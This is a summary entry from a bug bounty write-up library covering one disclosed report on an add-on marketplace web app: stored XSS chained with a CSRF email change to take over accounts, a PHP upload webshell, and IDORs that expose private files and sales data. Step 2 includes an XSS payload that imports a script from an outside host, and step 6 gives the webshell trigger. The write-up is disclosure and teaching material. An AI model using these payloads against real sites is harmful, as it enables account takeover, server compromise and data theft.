# $7000 Bounty on a Single Web Application

Multiple bugs on one HackerOne web app: stored XSS chained to account takeover, PHP upload RCE, and IDORs leaking private add-on files and sales data.

- Payout: $7,000
- Severity: high
- Program: -
- Credited: Amir Abbas
- Disclosed: 2023-11-01
- Write-up quality: 6/10
- Original: https://blog.voorivex.team/7000-bounty-on-a-single-web-application
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-voorivex-team-7000-bounty-on-a-single-web-application
- Tags: domain:web impact:ato impact:data-leak impact:rce kind:bounty platform:blog sev:high technique:chained technique:fuzzing technique:recon vuln:account-takeover vuln:business-logic vuln:csrf vuln:file-upload vuln:idor vuln:rce vuln:xss

**Target:** Web application add-on marketplace (support, comments, upload, download, REST endpoints)
**Root cause:** Stored XSS in comments/add-on descriptions plus a legacy login path enabling email-change CSRF; upload endpoint validated only Content-Type not extension; sequential add-on IDs served private files and sales data without ownership checks.
**Steps:**
1. Reflected XSS: extract params on support contact page with GAP, bruteforce with x8, `addon` param reflects -> XSS.
2. Stored XSS: post `<form><button formaction="javascript:import('//ayrix.info/exploit/...')">Click Me</button></form>` in plugin comments.
3. Fuzz XSS'd domain to find hidden legacy-login path exposing forgot-password.
4. GET email-change page, store CSRF token; POST email-change with token swapping victim email to attacker's (trim stray spaces around email).
5. Trigger legacy forgot-password on attacker email and reset to take over account.
6. Upload PHP file with `Content-Type: image/png` to old upload endpoint; hit `?secert-cmd=id` to run commands.
7. IDOR: request `/download/<id>` for private add-on files, fuzz 1-10000.
8. IDOR: `POST /rest/paymentinfos` with another add-on's public ID returns their sales.
9. IDOR: admin add-on settings panel lets you edit other add-ons' admin info.
10. Business logic: send `ratings=1000` to pin add-on to top (duplicate).
**How found:** Set wide recon aside and used the product's features; extracted params with GAP and bruteforced with x8; fuzzed the XSS'd domain to surface a hidden legacy-login path; noticed stray spaces around the POSTed email and trimmed them to make reset succeed; spotted a small button at the bottom of the admin page revealing an unaudited settings panel.
**Exploitation:** Stored XSS executes in victim context; chained with CSRF email-change on a legacy forgot-password path to reset victim's password and take over the account. Uploaded PHP webshell gives RCE via GET param. IDORs enumerate private files and sales data by sequential/public IDs.
**Escalation:** XSS escalated to full account takeover by pivoting to a hidden legacy-login origin and abusing CSRF email change plus password reset.
**Insight:** When SSO/forgot-password lives on a different origin than your XSS, fuzz the XSS'd domain for legacy login paths that expose password reset; and trim whitespace anomalies in POSTed emails to bypass validation. Also check small UI buttons at page bottoms for unaudited admin panels.
